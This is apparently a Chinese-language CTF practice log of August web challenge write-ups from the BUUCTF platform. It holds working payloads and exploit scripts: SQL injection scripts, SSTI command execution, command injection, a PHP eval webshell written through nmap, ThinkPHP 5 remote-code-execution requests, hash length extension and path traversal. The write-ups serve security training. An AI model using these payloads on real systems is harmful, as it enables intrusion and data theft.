0%

8月刷题记录

WEB

[ACTF2020 新生赛]Include

伪协议加文件包含

?file=php://filter/read/convert.base64-encode/resource=flag.php

[ACTF2020 新生赛]Exec

命令执行

127.0.0.1;cat /flag

[ACTF2020 新生赛]BackupFile

看题目直接扫目录

image-20200802182510227

image-20200802182531380

弱类型比较

?key=123

[ACTF2020 新生赛]Upload

phtml绕过

image-20200802184054101

image-20200802184125661

[CISCN2019 华北赛区 Day2 Web1]Hack World

过滤了union、and、or、空格等,包括/**/

输入1/1时会正常返回结果,可以判断这是数字型的sql注入。

可以用()绕过空白符

payload

if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = 'http://1bc1fd51-0f6f-43b5-bd9e-c19e86a6e238.node3.buuoj.cn/index.php'
result = ''

for x in range(1, 50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = "if(ascii(substr((select(flag)from(flag)),{},1))>{},1,2)".format(x, mid)
data = {
"id":payload
}
response = requests.post(url, data = data)
if 'Hello' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2

result += chr(int(mid))
print(result)

[ZJCTF 2019]NiZhuanSiWei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

首先传参 text=welcome to the zjctf 这里要注意file_get_contents,不能直接GET传参,要通过伪协议。

data:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

input: text=php://input,然后POST welcome to the zjctf

image-20200808211240153

按照提示读取useless.php

image-20200808211342281

useless.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

exp.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a= new Flag();
$a = serialize($a);
echo $a;
?>

image-20200808211534697

BJDCTF2020]Easy MD5

headers中有提示

image-20200808223026062

md5($pass,true)的结果是原始的二进制格式字符串,拼接到语句中就可能会造成SQL注入。

具体参考:http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

输入密码 ffifdyop,即可登录。

来到下一关

image-20200808223634396

直接数组绕过

http://3a0f2829-16ea-4ecd-b023-04ac47f0511a.node3.buuoj.cn/levels91.php?a[]=2&b[]=3

下一关

image-20200808223852953

还是数组绕过

或者利用工具碰撞

image-20200808230558650

[BJDCTF 2nd]fake google

随便输个字符串,会直接返回输入的字符串。结果的源码提示了SSTI

1返回1,确实存在SSTI。而且没过滤。

查看根目录

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

接着用上面的读取flag即可

[BUUCTF 2018]Online Tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

escapeshellarg()escapeshellcmd(t)同时使用会造成单引号逃逸

具体参考:https://paper.seebug.org/164/

1
2
3
4
1.传入的参数是:172.17.0.2' -v -d a=1
2.经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
3.经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义
4.最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

然后 nmap命令中 有一个参数-oG可以实现将命令和结果写到文件

payload host=' <?php @eval($_POST["a"]);?> -oG a.php '

[RoarCTF 2019]Easy Java

WEB-INF/web.xml泄露

1
2
3
4
5
6
7
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接下载class文件,在通过反编译class文件,得到网站源码

漏洞成因:

1
通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!

第一个坑,download请求要POST参数,GET无效

先读取web.xml

image-20200809090311609

再读取FlagController.class

image-20200809090432741

[GXYCTF2019]BabySQli

页面源码有一串字符,先Base32后Base64解码

select * from user where username = '$name'

然后测试下页面逻辑,先判断用户是否存在,不存在就返回wrong user!,存在则接着判断密码,密码错误则返回wrong pass!

大概过滤了这些字符

image-20200809092100640

直接可以用联合注入,表里有三列

1
1' Order by 3#

进行用联合注入,回显wrong user!,说明用户不在第一列

1
1' union select 1,2,3#

尝试将用户名放在第二列,回显wrong pass!,找到用户名在第二列

1
1' union select 1,'admin',3#

用户名输入(‘e10adc3949ba59abbe56e057f20f883e’是 123456的md5值)

1
1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#

[BJDCTF 2nd]old-hack

主页提示ThinkPHP5框架,直接用exp打,报错得到版本信息

1
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

image-20200809100312733

然后直接用5.0.23exp打

1
2
/index.php?s=captcha
POST: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

image-20200809100351723

[De1CTF 2019]SSRF Me

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

/De1ta路由下

第一关要绕过waf,不能用 gopherfile协议,但urllib模块支持 local_file协议,而且题目告诉flag./flag.txt

一般情况下,local_file:flag.txt是相对路径,local_file:///flag.txt则是绝对路径。

第二关则要绕md5校验

关键在getSign(self.action, self.param) == self.sign,而getSign() 相当于md5(secert_key + param + action)secert_key是脚本随机生成的16位字符串。

/geneSign路由下提交param=local_file:flag.txt得到md5(secert_key + local_file:flag.txt + scan)fefdccdd74fd9e221ea27ca5458d45c7

然后使用 hashpump构造字符串

image-20200809223529285

image-20200809223624980

因为 param(local_file:flag) 会在服务端拼接,所以action删除要local_file:flag字段

@一叶飘零师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python
# -*- coding:utf-8 -*-

import hashpumpy
import requests
import urllib

url = 'local_file:///proc/self/cwd/flag.txt'

r = requests.get('http://a07ad6bf-0c49-4483-8f5f-9b268185cc87.node3.buuoj.cn/geneSign?param='+url)
old_sign = r.content
new_sign = hashpumpy.hashpump(old_sign, url + 'scan', 'read', 16)
cookies={
'sign': new_sign[0],
'action': urllib.quote(new_sign[1][len(url):])
}

r = requests.get('http://a07ad6bf-0c49-4483-8f5f-9b268185cc87.node3.buuoj.cn/De1ta?param='+url, cookies=cookies)
print(r.content)

[GYCTF2020]Blacklist

堆叠注入

1
2
1';show tables;#
1'; show columns from FlagHere; #

flag就在表FlagHere

过滤如下:

preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

set被禁,不能用进制绕过

利用handler绕过,payload:

1
1'; handler FlagHere open as `a`; handler `a` read next;#

[GXYCTF2019]禁止套娃

啥也没有,最后扫目录

image-20200809235401850

githack还原文件

image-20200810000328848

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

无参RCE

et被禁 getenv() getallheaders() get_defined_vars() 都用不了

读取文件,不能使用file_get_contents(),但是可以可以使用readfile()highlight_file()以及其别名函数show_source()

这里使用 session_id()

本题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并不依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的。
使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。

其他payload

exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.

current() 返回数组中的当前单元, 默认取第一个值。pos() 是current() 的别名。

array_reverse() 以相反的元素顺序返回数组

image-20200810002921599

highlight_file(array_rand(array_flip(scandir(current(localeconv()))))); //多刷新几次

array_flip()交换数组的键和值

array_rand()从数组中随机取出一个或多个单元

[0CTF 2016]piapiapia

SQL注入,抓包,页面源码都没有有用的信息,后面扫目录拿到源码

其中config.php有$flag变量,所以应该是读取服务端 config.php文件。

根据update.php $profile['nickname']变量通过传参数组可以绕过die(),从而可控nickname

接着是反序列化 $profile

$user->update_profile($username, serialize($profile));

反序列化的字符串可控,

1
2
3
4
5
6
7
8
9
10
//PHP序列化长度变化导致字符逃逸
//PHP反序列化中值的字符读取多少其实是由表示长度的数字控制的,而且只要整个字符串的前一部分能够成功反序列化,这个字符串后面剩下的一部分将会被丢弃
$s = "Hello World";
$a = array($s);
var_dump(serialize($a)); //string(29) "a:1:{i:0;s:11:"Hello World";}"
$fake = 'a:1:{i:0;s:7:"Hello "";}World";}';
var_dump(unserialize($fake)); //string(7) "Hello ""
//我们可以看到,原来的字符串"Hello World"内 "World"改成了一个双引号,s:11 改成 s:7 再是正常结尾时需要有的 ";} 三个字符
//在PHP进行反序列化时,由字符串初始位置向后读取7个字符,即使遇到字符串分解符单双引号也会继续向下读,而后遇到了正常的结束符,达成了正常反序列化的条件,反序列化结束,
//后面的 World";}  几个字符均被丢弃。

虽然$profile['nickname']可控,但序列化是在服务器端,s的长度无法控制,也就无法逃逸

慢慢看源码

接着在profile.php调用了

$profile=$user->show_profile($username);

这个show_proflie()具体如下

1
2
3
4
5
6
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}

注意filter()函数

1
2
3
4
5
6
7
8
9
function filter($string)//class.php
{
$escape = array('\'', '\\\\'); // ' 和 \\ 字符
$escape = '/' . implode('|', $escape) . '/'; // "/'|\\/"
$string = preg_replace($escape, '_', $string); // ' 和 \\ 替换成 _
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i'; // "/select|insert|update|delete|where/i"
return preg_replace($safe, 'hacker', $string); //同理
}

可以看到 $profile存入数据库未被过滤,取出数据库时却被过滤了

而如果将where替换成 hacker 例如

1
s:5:"where" >> s:5:"hacker">>反序列化 hacker则可以按我们的意愿修改,这样在不修改s的情况下,控制了反序列化

接下来的插入数据其实和SQL注入很像,利用 ";}闭合前一部分,接着注入数据

1
2
3
4
5
a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:11:"test@qq.com";s:8:"nickname";a:1:{i:0;s:4:"here";}s:5:"photo";s:39:"upload/098f6bcd4621d373cade4e832627b4f6";}'
在here后面闭合即
{i:0;s:4:"here";} "}
插入数据
{i:0;s:4:"here";}s:5:"photo";s:10:"config.php";} "}

所以我们要插入 ";}s:5:"photo";s:10:"config.php";}长度为34,即我们需要34个where

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
$phone="66666666666";
$email = "test@qq.com";
$nickname=array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
$file = array("size"=>"10","name"=>"test");
if(!preg_match('/^\d{11}$/', $phone))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $email))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $nickname) || strlen($nickname) > 10)
die('Invalid nickname');

if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');


$profile['phone'] = $phone;
$profile['email'] = $email;
$profile['nickname'] = $nickname;
$profile['photo'] = 'upload/' . md5($file['name']);
var_dump(serialize($profile));


$profile = 'a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:11:"test@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/098f6bcd4621d373cade4e832627b4f6";}';
function filter($string)//class.php
{
$escape = array('\'', '\\\\'); // ' 和 \\ 字符
$escape = '/' . implode('|', $escape) . '/'; // "/'|\\/"
$string = preg_replace($escape, '_', $string); // ' 和 \\ 替换成 _
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i'; // "/select|insert|update|delete|where/i"
return preg_replace($safe, 'hacker', $string); //同理
true}
$profile = filter($profile);
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
var_dump($profile['photo']);
var_dump($photo);

image-20200810140642188

[SUCTF 2019]Pythonginx

blackhat议题之一HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization

1828215-20200113142549010-1977431520

根据源码写爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from urllib.parse import urlparse, urlunsplit, urlsplit
from urllib import parse

def get_unicode():
for x in range(65535):
uni = chr(x)
url = "http://suctf.c{}".format(uni)
try:
if getUrl(url):

print(parse.quote(chr(x))+" str: " + uni + ' unicode: \\u' + str(hex(x))[2:])
except:
pass


def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False


if __name__ == '__main__':
get_unicode()

题目提示我们是nginx,所以我们去读取nginx的配置文件

这里读的路径是 /usr/local/nginx/conf/nginx.conf

1
http://94cc5e34-bb0b-44bb-b029-ca087a23f0b6.node3.buuoj.cn/getUrl?url=file://suctf.c%E2%84%82/../../../../..//usr/local/nginx/conf/nginx.conf

然后读flag就行

另外一种思路是突破urlunsplit

函数定义在 urllib\parse.py

1
2
3
4
5
6
7
8
9
10
11
12
13
def urlunsplit(components):
scheme, netloc, url, query, fragment, _coerce_result = (
_coerce_args(*components))
if netloc or (scheme and scheme in uses_netloc and url[:2] != '//'):
if url and url[:1] != '/': url = '/' + url
url = '//' + (netloc or '') + url
if scheme:
url = scheme + ':' + url
if query:
url = url + '?' + query
if fragment:
url = url + '#' + fragment
return _coerce_result(url)

从题目源码也可以看出,这个函数的用法大概就是把 url 各个部分组成 list 传进来。

我们来分析一下这个函数:

这里的 netloc 就是题目中拿来判断的 host

首先第一个 if 判断了 netloc 是否为空,如果不是空就进入代码块,第二个是判断 schema 是否为空。第三个第四个就不分析了。

仔细看看第二个 if,这里并没有强制要求 netloc 要有东西,假设一下我们传入一个这样的 url

1
file:////abc

这个 url 传入入 parse.urlparse 时,netloc 是为空的,而 path//abc,当进入到 urlunsplit 后,netloc 为空不进入第一块代码,schemafile,进入第二个代码块,拼接后 url 就变成了:file://abc

所以构造file:////suctf.cc/../../../../../etc/passwd

贴下其他nginx配置文件

1
2
3
4
5
6
7
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx

[安洵杯 2019]easy_web

url明显有有问题

img=TXpVek5UTTFNbVUzTURabE5qYz => base64 =>base64 => hex => 555.png

反过去 加密 index.php下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

md5强比较,工具跑一下就出来了

1
a=test%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%1D%E8%EE%F4%CB5%F8%8F%80%AB%5B%04%603%BE%CFWJ7%8Aw5v%0EN%9A%40F%11%C3%15%DC%80%ED%A9%F5%D0K%00%3Co%06%ED%3A%22%E2%0EI%C3%5B%C7%C3%96t%F4%0B%A1%26%91%7EW%09%A1%A0R%AFWc%D5n%0E%00%2Fj%8A%AE%03%C1%BD%08VEB%16%F9v%21%5D%C9W%18%C9U%29%7D%A2%3FyW%F6i%0B%A6%C0i%97%CC%2F%98e%5B%A6%89O%FF%EBq%DA%9F%A5%A7n%8EV%9B%2A%FA%06&b=test%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%1D%E8%EE%F4%CB5%F8%8F%80%AB%5B%04%603%BE%CFWJ7%0Aw5v%0EN%9A%40F%11%C3%15%DC%80%ED%A9%F5%D0K%00%3Co%06%ED%3A%22b%0FI%C3%5B%C7%C3%96t%F4%0B%A1%26%91%FEW%09%A1%A0R%AFWc%D5n%0E%00%2Fj%8A%AE%03%C1%BD%08VEB%96%F9v%21%5D%C9W%18%C9U%29%7D%A2%3FyW%F6i%0B%A6%C0i%97%CC%2F%98%E5Z%A6%89O%FF%EBq%DA%9F%A5%A7n%8E%D6%9B%2A%FA%06

不能用数组绕过,string强制类型转换后都是 “Array”

命令禁用了很多,但linux命令中可以加\,所以甚至可以ca\t /fl\ag

image-20200810172023014

image-20200810172043258

其他思路1:

sort命令:sort将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出。

其他思路2:

把flag移到web目录下,然后直接访问拿到flag

image-20200810172253738

image-20200810172317785

[BJDCTF2020]Mark loves cat

.git泄露,githack拿源码

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //GET方式传flag,且flag=flag
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //GET和POST其中之一必须传flag
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //GET和POST传flag,不能是flag=flag
exit($is);
}

echo "the flag is: ".$flag;

flag.php

1
2
3
<?php

$flag = file_get_contents('/flag');

存在变量覆盖

payload1: yds=flag

$$x = $$y => $(yds) = $(flag) => $yds=flag{xxxx} => exit($yds)

payload2:is=flag&flag=flag

$$x = $$y => $(is)=$(flag) => $is=flag{xxxx}

$$xx = $$y => $(flag)=$(flag) => $flag=flag{xxxx}

exit($is)

[GWCTF 2019]我有一个数据库

扫描到phpinfo.php和phpmyadmin 4.8.1

参考这篇文章:https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/

有一个文件包含漏洞,加上phpinfo.php上传临时文件getshell (:

想复杂了,直接包含/flag就行

payload:http://e5abf389-9025-4a73-a415-3e10dc57dc21.node3.buuoj.cn/phpmyadmin/index.php?target=db_sql.php%3f/../../../../../..//flag

[ASIS 2019]Unicorn shop

https://www.compart.com/en/unicode/搜索 thousand找大于1337的字符

image-20200810230209866

提交 %E1%8D%BC即可得到flag

[BJDCTF2020]The mystery of ip

按照提示加入header

1.Client-IP

2.X-Forwarded-For

3.Remote_Addr

均可以修改IP

php下的模板注入

image-20200810232530556

[SWPU2019]Web1

登录了之后在发布广告处存在sql注入漏洞,我们输入的内容在输入后没有漏洞,当我们发布广告后查看广告详情的时候就造成了二次注入,从而产生了注入。

题目环境过滤了空格,我们使用/**/来进行绕过过滤了or,因此我们无法使用order by 以及information_schema这个库因为过滤了注释符,所以查询语句的最后我们要闭合单引号

无列名注入

1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/’

这里我们将users这个表里面的查询的结果提供给外部查询,同时把列名转换成a,b,这样我们后面就直接查询a,b列就可以获得结果

1
-1'/**/union/**/select/**/1, (select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
1
-1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

[BJDCTF2020]ZJCTF,不过如此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

image-20200812174257429

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
true@eval($_GET['cmd']);
}

preg_replace()使用的/e模式可以存在远程执行代码

payload:

1
2
/?.*={${phpinfo()}}
\S*=${phpinfo()}

image-20200812174555693

[BJDCTF 2nd]假猪套天下第一

确实第一

抓包发现 L0g1n.php

image-20200812181110056

image-20200812181236407

各种header集合

Header 解释 示例
Accept 指定客户端能够接收的内容类型 Accept: text/plain, text/html,application/json
Accept-Charset 浏览器可以接受的字符编码集。 Accept-Charset: iso-8859-5
Accept-Encoding 指定浏览器可以支持的web服务器返回内容压缩编码类型。 Accept-Encoding: compress, gzip
Accept-Language 浏览器可接受的语言 Accept-Language: en,zh
Accept-Ranges 可以请求网页实体的一个或者多个子范围字段 Accept-Ranges: bytes
Authorization HTTP授权的授权证书 Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
Cache-Control 指定请求和响应遵循的缓存机制 Cache-Control: no-cache
Connection 表示是否需要持久连接。(HTTP 1.1默认进行持久连接) Connection: close
Cookie HTTP请求发送时,会把保存在该请求域名下的所有cookie值一起发送给web服务器。 Cookie: $Version=1; Skin=new;
Content-Length 请求的内容长度 Content-Length: 348
Content-Type 请求的与实体对应的MIME信息 Content-Type: application/x-www-form-urlencoded
Date 请求发送的日期和时间 Date: Tue, 15 Nov 2010 08:12:31 GMT
Expect 请求的特定的服务器行为 Expect: 100-continue
From 发出请求的用户的Email From: user@email.com
Host 指定请求的服务器的域名和端口号 Host: www.zcmhi.com
If-Match 只有请求内容与实体相匹配才有效 If-Match: “737060cd8c284d8af7ad3082f209582d”
